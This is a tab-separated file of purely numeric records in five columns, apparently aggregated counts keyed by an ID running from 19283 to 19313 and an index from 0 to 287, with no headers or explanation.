19283	41	1	0	0
19283	53	1	0	0
19283	54	1	0	0
19283	68	1	0	0
19283	83	1	0	0
19283	98	2	0	0
19283	114	1	0	0
19283	116	1	0	0
19283	119	1	0	0
19283	124	1	0	0
19283	144	1	0	0
19283	148	1	0	0
19283	156	1	0	0
19283	161	1	0	0
19283	201	1	0	0
19283	208	1	0	0
19283	228	5	0	0
19283	229	6	0	0
19283	230	5	0	0
19283	231	3	0	0
19283	236	4	0	0
19283	237	3	0	0
19283	264	1	0	0
19283	268	1	0	0
19283	270	1	0	0
19284	41	1	0	0
19284	45	1	0	0
19284	61	1	0	0
19284	64	2	0	0
19284	70	1	0	0
19284	78	1	0	0
19284	79	2	0	0
19284	89	2	0	0
19284	95	2	0	0
19284	114	1	0	0
19284	125	1	0	0
19284	129	1	0	0
19284	132	1	0	0
19284	174	1	0	0
19284	195	1	0	0
19284	228	1	0	0
19284	239	1	0	0
19284	243	2	0	0
19284	260	1	0	0
19284	287	1	0	0
19285	25	1	0	0
19285	29	2	0	115
19285	33	3	0	0
19285	47	1	0	0
19285	53	1	0	0
19285	65	1	0	0
19285	78	1	0	0
19285	112	1	0	0
19285	113	1	0	0
19285	115	1	0	0
19285	118	2	0	0
19285	138	1	0	0
19285	159	1	0	0
19285	176	3	0	115
19285	187	1	0	0
19285	201	1	0	0
19285	202	6	0	1306
19285	232	1	0	0
19285	242	2	0	115
19285	246	1	0	0
19285	259	1	0	0
19285	279	1	0	0
19285	281	1	0	0
19285	287	1	0	0
19286	6	1	0	0
19286	13	1	0	0
19286	18	1	0	0
19286	23	1	0	0
19286	31	1	0	0
19286	51	1	0	0
19286	52	2	0	0
19286	53	1	0	0
19286	65	1	0	0
19286	78	1	0	0
19286	85	1	0	0
19286	90	1	0	0
19286	99	1	0	0
19286	110	1	0	0
19286	111	2	0	0
19286	153	1	0	0
19286	155	1	0	0
19286	156	1	0	0
19286	166	2	0	0
19286	200	1	0	0
19286	250	1	0	0
19286	253	1	0	0
19286	254	1	0	0
19286	262	1	0	0
19286	274	1	0	0
19286	286	1	0	0
19287	1	1	0	0
19287	10	4	0	0
19287	11	6	0	0
19287	12	1	0	0
19287	23	1	0	0
19287	33	1	0	0
19287	35	1	0	0
19287	37	1	0	0
19287	47	1	0	0
19287	52	1	0	0
19287	105	2	0	115
19287	107	2	0	115
19287	116	2	0	115
19287	125	1	0	0
19287	132	1	0	0
19287	141	2	0	0
19287	142	1	0	0
19287	147	1	0	0
19287	162	1	0	0
19287	177	1	0	0
19287	183	1	0	0
19287	201	1	0	0
19287	206	1	0	0
19287	255	3	0	0
19287	261	1	0	0
19287	264	2	0	0
19287	270	1	0	0
19287	271	1	0	0
19287	277	1	0	0
19288	13	2	1	76
19288	16	1	0	0
19288	18	1	0	0
19288	38	2	0	0
19288	40	1	0	0
19288	44	1	0	0
19288	94	1	0	0
19288	117	1	0	0
19288	118	1	0	0
19288	125	1	0	0
19288	152	2	0	115
19288	153	1	0	0
19288	154	1	0	0
19288	155	1	0	0
19288	157	1	0	0
19288	158	1	0	0
19288	159	2	0	0
19288	185	1	0	0
19288	226	2	0	0
19288	254	1	0	1045
19288	266	1	0	0
19288	275	1	0	0
19289	2	1	0	0
19289	5	1	0	0
19289	31	1	0	0
19289	34	2	0	115
19289	47	1	0	0
19289	66	2	0	115
19289	89	2	0	115
19289	115	1	0	0
19289	123	2	0	0
19289	129	2	0	0
19289	142	1	0	0
19289	149	1	0	0
19289	162	1	0	0
19289	207	2	0	0
19289	227	1	0	0
19289	235	1	0	0
19289	244	1	0	0
19289	249	1	0	0
19289	252	2	0	0
19289	255	1	0	0
19289	260	1	0	0
19289	262	1	0	0
19289	264	1	0	0
19290	2	1	0	0
19290	7	3	2	0
19290	9	4	0	0
19290	10	1	0	0
19290	18	1	0	0
19290	26	1	0	0
19290	36	1	0	0
19290	75	1	0	0
19290	102	2	0	0
19290	113	2	0	0
19290	180	1	0	0
19290	187	1	0	0
19290	207	2	0	0
19290	208	10	0	0
19290	209	3	0	0
19290	219	1	0	0
19290	222	1	0	0
19290	234	1	0	0
19290	235	5	0	0
19290	236	6	0	0
19290	237	6	0	0
19290	240	1	0	0
19290	264	1	0	0
19290	276	1	0	0
19290	286	2	0	0
19291	4	2	1	76
19291	21	1	0	0
19291	25	1	0	0
19291	26	1	0	0
19291	41	1	0	0
19291	46	1	0	0
19291	60	1	0	0
19291	66	1	0	0
19291	68	3	0	115
19291	71	1	0	0
19291	76	1	0	0
19291	77	3	1	0
19291	78	2	1	0
19291	81	1	0	0
19291	92	1	0	0
19291	100	2	0	0
19291	107	1	0	0
19291	110	1	0	0
19291	119	2	0	416
19291	124	1	0	0
19291	125	1	0	0
19291	126	1	0	0
19291	128	1	0	0
19291	137	1	0	0
19291	142	2	0	0
19291	144	1	0	0
19291	146	2	0	0
19291	148	1	0	0
19291	154	1	0	0
19291	158	1	0	0
19291	165	1	0	0
19291	171	1	0	0
19291	178	2	0	0
19291	179	1	0	0
19291	182	1	0	0
19291	184	1	0	0
19291	191	1	0	0
19291	198	1	0	0
19291	207	1	0	0
19291	217	1	0	0
19291	235	1	0	0
19291	239	1	0	0
19291	245	2	0	0
19291	246	1	0	0
19291	247	1	0	0
19291	255	1	0	0
19291	261	1	0	0
19291	262	1	0	0
19291	267	1	0	0
19291	270	2	0	0
19291	271	1	0	0
19291	275	1	0	0
19291	281	1	0	0
19291	287	1	0	0
19292	0	1	0	0
19292	1	3	0	115
19292	7	1	0	0
19292	16	1	0	0
19292	25	1	0	0
19292	29	1	0	0
19292	31	1	0	0
19292	32	1	0	0
19292	57	2	0	115
19292	77	1	0	0
19292	79	1	0	0
19292	82	1	0	0
19292	95	1	0	0
19292	103	1	0	0
19292	104	1	0	0
19292	105	1	0	0
19292	111	1	0	0
19292	128	2	0	0
19292	130	1	0	0
19292	150	1	0	0
19292	152	1	0	0
19292	154	1	0	0
19292	170	1	0	0
19292	179	1	0	0
19292	183	3	0	115
19292	184	1	0	0
19292	187	1	0	0
19292	189	3	0	0
19292	190	1	0	0
19292	191	1	0	0
19292	192	1	0	0
19292	193	1	0	0
19292	200	1	0	0
19292	202	1	0	0
19292	204	1	0	0
19292	206	1	0	0
19292	208	1	0	0
19292	209	1	0	0
19292	210	1	0	0
19292	213	1	0	0
19292	223	2	0	0
19292	233	1	0	0
19292	237	1	0	0
19292	240	1	0	0
19292	243	1	0	0
19292	255	1	0	0
19292	257	4	0	0
19292	258	6	0	0
19292	259	6	0	0
19292	260	7	0	0
19292	264	3	0	0
19292	272	1	0	0
19292	276	1	0	0
19292	277	2	0	0
19292	278	2	0	0
19292	280	1	0	0
19292	283	1	0	0
19292	284	2	0	0
19293	3	1	0	0
19293	7	1	0	0
19293	11	1	0	0
19293	19	1	0	0
19293	21	1	0	0
19293	22	1	0	0
19293	25	1	0	0
19293	26	1	0	0
19293	30	1	0	0
19293	33	1	0	0
19293	35	2	0	0
19293	36	1	0	0
19293	38	2	0	0
19293	39	1	0	0
19293	40	1	0	0
19293	43	2	0	0
19293	45	1	0	0
19293	50	1	0	0
19293	56	1	0	0
19293	59	1	0	0
19293	61	1	0	0
19293	64	1	0	0
19293	67	3	0	0
19293	68	1	0	0
19293	77	1	0	0
19293	78	1	0	0
19293	84	1	0	0
19293	85	1	0	0
19293	86	1	0	0
19293	94	1	0	0
19293	98	1	0	0
19293	99	1	0	0
19293	106	3	2	13572
19293	107	1	0	0
19293	108	1	0	0
19293	110	1	0	0
19293	114	1	0	0
19293	117	2	0	0
19293	123	1	0	0
19293	124	2	0	0
19293	127	1	0	0
19293	128	1	0	0
19293	136	1	0	0
19293	144	1	0	0
19293	154	1	0	0
19293	171	2	0	0
19293	172	2	0	0
19293	174	1	0	0
19293	175	3	0	1045
19293	176	1	0	0
19293	177	4	0	0
19293	178	1	0	0
19293	179	1	0	0
19293	180	1	0	0
19293	185	1	0	0
19293	188	1	0	0
19293	194	1	0	0
19293	228	1	0	0
19293	229	2	0	115
19293	231	1	0	0
19293	234	1	0	0
19293	256	1	0	0
19293	262	1	0	0
19293	267	1	0	0
19293	274	1	0	0
19293	281	1	0	0
19293	282	2	0	0
19294	6	1	0	0
19294	14	1	0	0
19294	20	1	0	0
19294	24	1	0	0
19294	27	1	0	0
19294	28	1	0	0
19294	32	1	0	0
19294	33	1	0	0
19294	34	1	0	0
19294	39	2	0	0
19294	41	1	0	0
19294	47	1	0	0
19294	51	5	0	0
19294	55	1	0	0
19294	57	1	0	0
19294	58	2	0	0
19294	61	1	0	0
19294	69	1	0	0
19294	71	1	0	0
19294	73	1	0	0
19294	80	1	0	0
19294	81	1	0	0
19294	83	1	0	0
19294	91	1	0	0
19294	92	1	0	0
19294	93	2	0	0
19294	94	7	0	0
19294	95	1	0	0
19294	96	2	0	0
19294	97	3	0	0
19294	98	1	0	0
19294	99	2	0	0
19294	101	1	0	0
19294	104	1	0	0
19294	105	1	0	0
19294	106	1	0	0
19294	107	1	0	0
19294	111	1	0	0
19294	113	1	0	0
19294	119	1	0	0
19294	128	1	0	0
19294	129	1	0	0
19294	138	1	0	0
19294	141	3	0	0
19294	142	1	0	0
19294	143	1	0	0
19294	146	2	0	0
19294	149	2	0	0
19294	150	2	0	0
19294	151	3	0	0
19294	152	2	0	0
19294	153	1	0	0
19294	154	1	0	0
19294	158	3	0	0
19294	159	1	0	0
19294	167	1	0	0
19294	169	1	0	0
19294	176	1	0	0
19294	177	1	0	0
19294	181	1	0	0
19294	185	1	0	0
19294	187	1	0	0
19294	195	1	0	0
19294	206	1	0	0
19294	214	1	0	0
19294	215	1	0	0
19294	216	1	0	0
19294	221	1	0	0
19294	225	1	0	0
19294	226	1	0	0
19294	228	1	0	0
19294	229	1	0	0
19294	230	1	0	0
19294	231	1	0	0
19294	233	1	0	0
19294	236	2	0	0
19294	238	1	0	0
19294	240	1	0	0
19294	248	1	0	0
19294	253	1	0	0
19294	264	1	0	0
19294	276	1	0	0
19294	278	1	0	0
19294	281	1	0	0
19294	282	2	0	0
19294	285	1	0	0
19295	3	1	0	0
19295	5	1	0	0
19295	12	1	0	0
19295	17	1	0	0
19295	20	2	0	115
19295	22	3	0	115
19295	30	1	0	0
19295	31	1	0	0
19295	43	1	0	0
19295	47	1	0	0
19295	52	2	0	0
19295	57	1	0	0
19295	75	1	0	0
19295	81	1	0	0
19295	100	1	0	0
19295	101	1	0	0
19295	102	1	0	0
19295	104	2	0	0
19295	108	2	0	115
19295	109	2	0	115
19295	122	1	0	0
19295	134	1	0	0
19295	137	1	0	0
19295	139	2	0	115
19295	153	1	0	0
19295	157	1	0	0
19295	161	1	0	0
19295	165	1	0	0
19295	171	1	0	0
19295	186	1	0	0
19295	188	1	0	0
19295	189	1	0	0
19295	190	1	0	0
19295	194	1	0	0
19295	196	1	0	0
19295	197	2	0	0
19295	198	1	0	0
19295	199	1	0	0
19295	203	1	0	0
19295	208	1	0	0
19295	209	1	0	0
19295	215	1	0	0
19295	217	1	0	0
19295	222	1	0	0
19295	226	1	0	0
19295	229	1	0	0
19295	237	1	0	0
19295	240	1	0	0
19295	256	1	0	0
19295	257	2	0	0
19295	263	2	0	0
19295	269	1	0	0
19295	273	1	0	0
19295	278	1	0	0
19295	280	1	0	0
19295	286	2	0	0
19296	6	1	0	0
19296	7	1	0	0
19296	11	1	0	0
19296	19	1	0	0
19296	22	2	0	0
19296	24	1	0	0
19296	25	3	0	115
19296	26	2	0	0
19296	27	3	0	0
19296	28	3	0	0
19296	29	3	0	0
19296	30	1	0	0
19296	32	2	0	0
19296	33	3	0	0
19296	34	2	0	0
19296	35	4	0	0
19296	38	1	0	0
19296	39	1	0	0
19296	40	2	0	0
19296	41	1	0	0
19296	42	1	0	0
19296	45	2	0	0
19296	47	3	2	13572
19296	48	1	0	0
19296	51	1	0	0
19296	57	1	0	0
19296	61	1	0	0
19296	63	1	0	0
19296	72	2	0	0
19296	86	2	0	0
19296	88	1	0	0
19296	91	1	0	0
19296	92	1	0	0
19296	96	1	0	0
19296	97	3	0	0
19296	106	1	0	0
19296	107	1	0	0
19296	111	1	0	0
19296	113	1	0	0
19296	115	1	0	0
19296	117	1	0	0
19296	125	1	0	0
19296	131	1	0	0
19296	134	1	0	0
19296	145	1	0	0
19296	146	1	0	0
19296	147	1	0	0
19296	148	1	0	0
19296	156	1	0	0
19296	158	1	0	0
19296	159	1	0	0
19296	161	1	0	0
19296	164	1	0	0
19296	165	1	0	0
19296	166	1	0	0
19296	174	1	0	0
19296	181	1	0	0
19296	184	1	0	0
19296	187	1	0	0
19296	196	2	0	0
19296	198	1	0	0
19296	200	2	0	0
19296	201	1	0	0
19296	207	2	0	0
19296	208	2	0	0
19296	210	1	0	0
19296	225	1	0	0
19296	226	1	0	0
19296	227	1	0	0
19296	228	1	0	0
19296	230	1	0	0
19296	231	1	0	0
19296	234	1	0	0
19296	239	2	0	0
19296	242	1	0	0
19296	247	1	0	0
19296	250	1	0	0
19296	251	1	0	0
19296	258	1	0	0
19296	283	1	0	0
19296	285	1	0	0
19296	286	1	0	0
19296	287	1	0	0
19297	1	2	0	0
19297	3	1	0	0
19297	4	1	0	0
19297	5	1	0	0
19297	6	1	0	0
19297	10	2	0	0
19297	20	1	0	0
19297	21	1	0	0
19297	24	1	0	0
19297	39	1	0	0
19297	40	2	0	0
19297	47	1	0	0
19297	70	2	0	115
19297	177	2	1	6786
19297	203	1	0	0
19297	216	1	0	0
19297	222	1	0	0
19297	229	1	0	0
19297	241	1	0	0
19297	249	2	0	0
19297	254	1	0	0
19297	267	1	0	0
19297	280	1	0	0
19298	2	2	0	0
19298	3	1	0	0
19298	4	1	0	0
19298	6	2	1	6786
19298	11	3	0	0
19298	13	1	0	0
19298	21	2	0	115
19298	33	1	0	0
19298	71	1	0	0
19298	78	1	0	0
19298	80	1	0	0
19298	98	1	0	0
19298	102	1	0	0
19298	105	1	0	0
19298	134	7	0	0
19298	158	2	0	115
19298	171	1	0	0
19298	175	1	0	0
19298	186	1	0	0
19298	201	1	0	0
19298	205	1	0	0
19298	206	1	0	0
19298	208	1	0	0
19298	209	1	0	0
19298	210	2	0	0
19298	214	1	0	0
19298	215	1	0	0
19298	217	1	0	0
19298	219	1	0	0
19298	226	1	0	0
19298	231	1	0	0
19298	232	1	0	0
19298	235	1	0	0
19298	237	1	0	0
19298	242	1	0	0
19298	244	1	0	0
19298	250	1	0	0
19298	251	1	0	0
19298	252	3	0	0
19298	258	2	0	0
19298	259	1	0	0
19298	268	1	0	0
19298	272	1	0	0
19298	273	1	0	0
19298	274	1	0	0
19298	279	2	0	0
19298	282	1	0	0
19299	3	1	0	0
19299	7	2	1	0
19299	8	2	1	0
19299	10	1	0	0
19299	11	2	1	0
19299	15	1	0	0
19299	16	1	0	0
19299	18	1	0	0
19299	20	1	0	0
19299	22	1	0	0
19299	24	1	0	0
19299	27	1	0	0
19299	32	1	0	0
19299	33	1	0	0
19299	34	1	0	0
19299	35	1	0	0
19299	37	2	0	0
19299	38	2	0	115
19299	39	2	0	0
19299	41	1	0	0
19299	42	2	0	0
19299	43	2	0	0
19299	71	1	0	0
19299	75	1	0	0
19299	76	1	0	0
19299	97	1	0	0
19299	108	1	0	0
19299	118	2	0	0
19299	120	4	0	1045
19299	121	2	0	0
19299	122	1	0	0
19299	123	1	0	0
19299	128	1	0	0
19299	136	1	0	0
19299	137	1	0	0
19299	140	1	0	0
19299	153	1	0	0
19299	154	1	0	0
19299	161	1	0	0
19299	166	4	3	13179
19299	167	2	0	0
19299	168	2	0	0
19299	171	1	0	0
19299	174	1	0	0
19299	175	1	0	0
19299	183	1	0	0
19299	184	1	0	0
19299	186	1	0	0
19299	190	1	0	0
19299	195	1	0	0
19299	196	2	0	0
19299	216	1	0	0
19299	222	1	0	0
19299	233	1	0	0
19299	236	1	0	0
19299	241	1	0	0
19299	243	1	0	0
19299	248	1	0	0
19299	249	1	0	0
19299	251	3	0	115
19299	252	1	0	0
19300	4	1	0	0
19300	11	1	0	0
19300	22	1	0	0
19300	24	1	0	0
19300	27	1	0	0
19300	28	1	0	0
19300	39	1	0	0
19300	45	1	0	0
19300	50	1	0	0
19300	53	1	0	0
19300	57	1	0	0
19300	60	1	0	0
19300	77	1	0	0
19300	78	1	0	0
19300	80	1	0	0
19300	84	1	0	0
19300	88	1	0	0
19300	91	1	0	0
19300	93	1	0	0
19300	98	2	0	0
19300	99	1	0	0
19300	101	1	0	0
19300	106	1	0	0
19300	108	1	0	0
19300	121	2	0	0
19300	122	2	0	0
19300	124	1	0	0
19300	126	3	0	0
19300	131	1	0	0
19300	132	1	0	0
19300	133	2	0	0
19300	136	1	0	0
19300	137	2	0	0
19300	138	1	0	0
19300	141	1	0	0
19300	142	1	0	0
19300	149	3	0	416
19300	153	1	0	0
19300	154	1	0	0
19300	173	1	0	0
19300	175	1	0	0
19300	201	1	0	0
19300	205	3	0	0
19300	206	2	0	0
19300	207	2	0	0
19300	208	1	0	0
19300	209	8	0	167653
19300	212	1	0	0
19300	231	1	0	0
19300	245	1	0	0
19300	252	2	0	0
19300	253	2	0	0
19300	254	1	0	0
19300	259	1	0	0
19300	260	2	0	0
19300	261	1	0	0
19300	263	2	0	0
19300	264	2	0	0
19300	265	1	0	0
19300	282	2	0	0
19300	284	1	0	0
19301	0	4	0	115
19301	15	1	0	0
19301	17	1	0	0
19301	20	1	0	0
19301	21	1	0	0
19301	23	1	0	0
19301	26	1	0	0
19301	28	1	0	0
19301	29	2	0	0
19301	30	1	0	0
19301	33	1	0	0
19301	39	2	0	0
19301	40	1	0	0
19301	41	2	0	115
19301	44	1	0	0
19301	47	1	0	0
19301	58	1	0	0
19301	60	1	0	0
19301	61	4	0	0
19301	62	1	0	0
19301	82	1	0	0
19301	86	2	0	0
19301	87	1	0	0
19301	88	3	0	0
19301	90	2	0	0
19301	96	4	0	0
19301	97	2	0	0
19301	98	1	0	0
19301	122	1	0	0
19301	146	3	0	288600
19301	156	1	0	0
19301	157	1	0	0
19301	170	1	0	0
19301	185	1	0	0
19301	213	3	0	0
19301	218	1	0	0
19301	240	1	0	0
19301	248	2	0	0
19301	259	2	0	0
19301	265	1	0	0
19301	282	1	0	0
19302	5	1	0	0
19302	21	1	0	0
19302	22	2	0	0
19302	30	1	0	0
19302	32	1	0	0
19302	37	1	0	0
19302	43	2	0	0
19302	57	1	0	0
19302	61	1	0	0
19302	62	1	0	0
19302	63	1	0	0
19302	65	1	0	0
19302	70	1	0	0
19302	71	1	0	0
19302	72	1	0	0
19302	77	1	0	0
19302	104	1	0	0
19302	105	1	0	0
19302	111	1	0	0
19302	172	2	0	0
19302	177	1	0	0
19302	184	1	0	0
19302	185	1	0	0
19302	186	2	0	0
19302	187	1	0	0
19302	188	1	0	0
19302	192	1	0	0
19302	194	1	0	0
19302	200	1	0	0
19302	208	1	0	0
19302	211	1	0	0
19302	216	1	0	0
19302	221	1	0	0
19302	224	1	0	0
19302	234	2	0	1045
19302	239	1	0	0
19302	242	1	0	0
19302	245	1	0	0
19302	246	1	0	0
19302	247	2	0	0
19302	250	1	0	0
19302	258	2	0	0
19302	259	1	0	0
19302	264	1	0	0
19302	266	1	0	0
19302	271	2	0	0
19302	273	1	0	0
19302	277	1	0	0
19302	279	2	0	0
19303	8	1	0	0
19303	17	1	0	0
19303	27	1	0	0
19303	29	1	0	0
19303	37	1	0	0
19303	40	2	0	0
19303	45	2	0	0
19303	52	2	0	0
19303	72	1	0	0
19303	74	2	0	0
19303	79	1	0	0
19303	81	1	0	0
19303	89	3	0	115
19303	92	1	0	0
19303	99	8	4	1398
19303	105	1	0	0
19303	110	2	0	0
19303	119	1	0	0
19303	127	3	0	0
19303	135	1	0	0
19303	136	1	0	0
19303	138	1	0	0
19303	143	1	0	0
19303	153	1	0	0
19303	156	1	0	0
19303	157	1	0	0
19303	158	1	0	0
19303	177	1	0	0
19303	183	2	0	0
19303	184	1	0	0
19303	198	1	0	0
19303	209	1	0	0
19303	212	2	0	0
19303	214	1	0	0
19303	215	1	0	0
19303	221	1	0	0
19303	222	2	0	0
19303	225	1	0	0
19303	233	1	0	0
19303	235	1	0	0
19303	239	1	0	0
19303	257	1	0	0
19303	274	1	0	0
19303	280	1	0	0
19303	284	1	0	0
19303	287	1	0	0
19304	3	1	0	0
19304	4	1	0	0
19304	5	2	0	0
19304	24	1	0	0
19304	27	1	0	0
19304	28	2	0	0
19304	35	1	0	0
19304	36	1	0	0
19304	39	3	0	0
19304	51	1	0	0
19304	52	2	0	115
19304	53	1	0	0
19304	55	2	0	115
19304	67	1	0	0
19304	69	1	0	0
19304	84	1	0	0
19304	101	1	0	0
19304	105	1	0	0
19304	115	2	0	115
19304	133	1	0	0
19304	138	1	0	0
19304	143	1	0	0
19304	144	1	0	0
19304	148	1	0	0
19304	154	1	0	0
19304	156	1	0	0
19304	157	1	0	0
19304	158	1	0	0
19304	161	1	0	0
19304	172	1	0	0
19304	182	1	0	0
19304	189	1	0	0
19304	190	2	0	0
19304	193	2	1	6786
19304	195	2	0	0
19304	196	2	0	0
19304	198	2	0	115
19304	200	1	0	0
19304	202	1	0	0
19304	203	1	0	0
19304	204	1	0	0
19304	207	2	0	0
19304	217	2	0	0
19304	227	1	0	0
19304	228	1	0	0
19304	240	1	0	0
19304	241	1	0	0
19304	243	1	0	0
19304	255	1	0	0
19304	278	2	0	0
19304	280	1	0	0
19304	283	1	0	0
19305	16	1	0	0
19305	18	1	0	0
19305	19	1	0	0
19305	31	1	0	0
19305	34	1	0	0
19305	36	4	0	0
19305	41	1	0	0
19305	58	2	0	0
19305	64	1	0	0
19305	65	1	0	0
19305	76	2	0	115
19305	83	1	0	0
19305	113	1	0	0
19305	158	2	0	0
19305	160	1	0	0
19305	172	1	0	0
19305	175	1	0	0
19305	186	1	0	0
19305	192	2	0	0
19305	201	2	0	0
19305	202	1	0	0
19305	215	1	0	0
19305	216	1	0	0
19305	247	2	0	115
19305	249	1	0	0
19306	9	2	1	6786
19306	10	1	0	0
19306	35	1	0	0
19306	40	2	0	0
19306	42	1	0	0
19306	87	1	0	0
19306	89	1	0	0
19306	92	1	0	0
19306	95	2	0	115
19306	96	1	0	0
19306	101	1	0	0
19306	144	1	0	0
19306	145	1	0	0
19306	162	1	0	0
19306	174	1	0	0
19306	189	1	0	0
19306	192	1	0	0
19306	195	1	0	0
19306	196	2	0	0
19306	200	1	0	0
19306	202	1	0	0
19306	203	1	0	0
19306	204	1	0	0
19306	212	1	0	0
19306	220	1	0	0
19306	226	1	0	0
19306	233	1	0	0
19306	238	1	0	0
19306	240	1	0	0
19306	241	1	0	0
19306	258	1	0	0
19306	267	2	0	0
19306	274	1	0	0
19306	280	1	0	0
19307	4	1	0	0
19307	5	1	0	0
19307	10	1	0	0
19307	12	1	0	0
19307	14	1	0	0
19307	15	1	0	0
19307	19	1	0	0
19307	31	1	0	0
19307	32	1	0	0
19307	34	1	0	0
19307	43	2	0	0
19307	50	1	0	0
19307	62	1	0	0
19307	71	1	0	0
19307	73	1	0	0
19307	74	2	0	0
19307	79	1	0	0
19307	93	1	0	0
19307	94	1	0	0
19307	98	1	0	0
19307	99	1	0	0
19307	104	1	0	0
19307	107	1	0	0
19307	110	1	0	0
19307	117	1	0	0
19307	119	1	0	0
19307	121	1	0	0
19307	123	1	0	0
19307	131	1	0	0
19307	139	1	0	0
19307	141	1	0	0
19307	149	1	0	0
19307	153	1	0	0
19307	157	1	0	0
19307	163	1	0	0
19307	169	1	0	0
19307	172	1	0	0
19307	173	1	0	0
19307	174	1	0	0
19307	183	1	0	0
19307	184	1	0	0
19307	198	1	0	0
19307	200	1	0	0
19307	202	1	0	0
19307	205	2	0	288600
19307	208	1	0	0
19307	209	1	0	0
19307	219	2	0	0
19307	220	1	0	0
19307	222	2	0	115
19307	226	1	0	0
19307	236	2	0	6804
19307	251	2	0	0
19307	255	1	0	0
19307	262	1	0	0
19307	263	1	0	0
19307	264	1	0	0
19307	272	1	0	0
19307	284	1	0	0
19308	6	1	0	0
19308	9	1	0	0
19308	14	1	0	0
19308	29	1	0	0
19308	30	1	0	0
19308	31	1	0	0
19308	35	1	0	0
19308	40	2	0	0
19308	41	2	0	0
19308	51	1	0	0
19308	55	1	0	0
19308	58	1	0	0
19308	61	1	0	0
19308	63	1	0	0
19308	71	1	0	0
19308	77	1	0	0
19308	78	1	0	0
19308	83	1	0	0
19308	90	6	4	27144
19308	98	4	0	0
19308	104	1	0	0
19308	106	1	0	0
19308	108	1	0	0
19308	114	1	0	0
19308	120	1	0	0
19308	122	1	0	0
19308	130	2	0	6804
19308	135	1	0	0
19308	139	1	0	0
19308	141	1	0	0
19308	150	1	0	0
19308	174	2	0	0
19308	175	6	0	0
19308	180	1	0	0
19308	182	1	0	0
19308	183	1	0	0
19308	186	1	0	0
19308	193	3	0	288600
19308	198	1	0	0
19308	202	1	0	0
19308	209	1	0	0
19308	216	1	0	0
19308	218	1	0	0
19308	220	1	0	0
19308	224	1	0	0
19308	230	1	0	0
19308	238	1	0	0
19308	241	1	0	0
19308	242	2	0	288600
19308	250	1	0	0
19308	259	1	0	0
19308	261	1	0	0
19308	283	1	0	0
19308	284	1	0	0
19308	287	1	0	0
19309	0	1	0	0
19309	4	1	0	0
19309	9	1	0	0
19309	16	2	0	0
19309	17	2	0	0
19309	39	1	0	0
19309	40	1	0	0
19309	44	1	0	0
19309	46	1	0	0
19309	48	1	0	0
19309	50	1	0	0
19309	56	1	0	0
19309	60	1	0	0
19309	61	1	0	0
19309	65	1	0	0
19309	66	1	0	0
19309	67	1	0	0
19309	74	1	0	0
19309	76	1	0	0
19309	86	1	0	0
19309	88	2	0	0
19309	90	1	0	0
19309	96	2	0	0
19309	98	1	0	0
19309	105	1	0	0
19309	108	1	0	0
19309	112	1	0	0
19309	115	1	0	0
19309	122	1	0	0
19309	132	1	0	0
19309	140	1	0	0
19309	149	1	0	0
19309	156	2	0	1045
19309	167	1	0	0
19309	206	1	0	0
19309	220	1	0	0
19309	221	1	0	0
19309	228	1	0	0
19309	232	1	0	0
19309	240	1	0	0
19309	241	1	0	0
19309	247	1	0	0
19309	262	1	0	0
19309	266	2	0	0
19309	273	1	0	0
19309	283	1	0	0
19309	285	1	0	0
19309	286	1	0	0
19310	31	1	0	0
19310	42	2	0	0
19310	43	1	0	0
19310	51	1	0	0
19310	57	1	0	0
19310	81	2	0	0
19310	82	2	0	0
19310	87	1	0	0
19310	110	1	0	0
19310	112	1	0	0
19310	116	1	0	0
19310	121	3	0	0
19310	130	1	0	0
19310	134	1	0	0
19310	137	1	0	0
19310	139	1	0	0
19310	142	1	0	0
19310	152	1	0	0
19310	157	1	0	0
19310	158	1	0	0
19310	161	1	0	0
19310	163	1	0	0
19310	173	1	0	0
19310	174	2	0	288600
19310	179	1	0	0
19310	186	1	0	0
19310	189	1	0	0
19310	200	1	0	0
19310	202	1	0	0
19310	203	1	0	0
19310	223	1	0	0
19310	225	1	0	0
19310	229	1	0	0
19310	234	1	0	0
19310	236	1	0	0
19310	244	1	0	0
19310	252	1	0	0
19310	280	2	0	0
19310	285	5	0	3831
19311	0	1	0	0
19311	4	1	0	0
19311	6	1	0	0
19311	10	1	0	0
19311	11	1	0	0
19311	12	1	0	0
19311	19	1	0	0
19311	24	3	0	115
19311	28	1	0	0
19311	29	1	0	0
19311	34	1	0	0
19311	44	1	0	0
19311	46	1	0	0
19311	51	1	0	0
19311	52	1	0	0
19311	54	1	0	0
19311	56	2	0	0
19311	59	1	0	0
19311	82	1	0	0
19311	94	1	0	0
19311	103	1	0	0
19311	108	1	0	0
19311	111	1	0	0
19311	113	2	0	115
19311	114	1	0	0
19311	115	2	0	115
19311	118	1	0	0
19311	130	2	0	115
19311	135	1	0	0
19311	144	1	0	0
19311	148	1	0	0
19311	152	2	0	0
19311	164	1	0	0
19311	165	2	0	115
19311	168	1	0	0
19311	170	1	0	0
19311	182	1	0	0
19311	189	1	0	0
19311	191	1	0	0
19311	192	1	0	0
19311	193	1	0	0
19311	203	1	0	0
19311	205	2	0	0
19311	215	1	0	0
19311	217	2	0	0
19311	218	1	0	0
19311	220	1	0	0
19311	225	1	0	0
19311	229	1	0	0
19311	235	1	0	0
19311	247	1	0	0
19311	249	1	0	0
19311	250	1	0	115
19311	263	1	0	0
19311	268	1	0	0
19311	279	1	0	0
19311	283	1	0	0
19311	284	1	0	0
19312	17	2	0	0
19312	18	2	0	0
19312	26	1	0	0
19312	27	1	0	0
19312	32	1	0	0
19312	43	1	0	0
19312	44	1	0	0
19312	45	2	0	0
19312	46	1	0	0
19312	56	1	0	0
19312	57	2	0	0
19312	66	1	0	0
19312	75	1	0	0
19312	79	1	0	0
19312	89	2	0	115
19312	103	1	0	0
19312	125	1	0	0
19312	129	1	0	0
19312	131	1	0	0
19312	133	1	0	0
19312	140	1	0	0
19312	144	1	0	0
19312	152	1	0	0
19312	176	2	0	0
19312	177	3	0	0
19312	178	3	0	0
19312	207	1	0	0
19312	222	1	0	0
19312	227	1	0	0
19312	238	1	0	0
19312	239	1	0	0
19312	240	1	0	0
19312	243	1	0	0
19312	283	1	0	0
19313	7	1	0	0
19313	12	3	0	0
19313	21	1	0	0
19313	24	1	0	0
19313	36	1	0	0
19313	54	1	0	0
19313	56	1	0	0
19313	57	1	0	0
19313	58	1	0	0
19313	66	1	0	0
19313	67	1	0	0
19313	68	2	0	115
19313	72	1	0	0
19313	73	1	0	0
19313	74	1	0	0
19313	75	1	0	0
19313	76	2	0	0
19313	79	2	0	0
19313	88	3	0	115
19313	91	2	0	0
19313	92	1	0	0
19313	95	1	0	0
19313	98	1	0	0
19313	112	1	0	0
19313	120	1	0	0
19313	136	1	0	0
19313	144	1	0	0
19313	156	1	0	0
19313	166	1	0	0
19313	169	1	0	0
19313	182	2	0	0
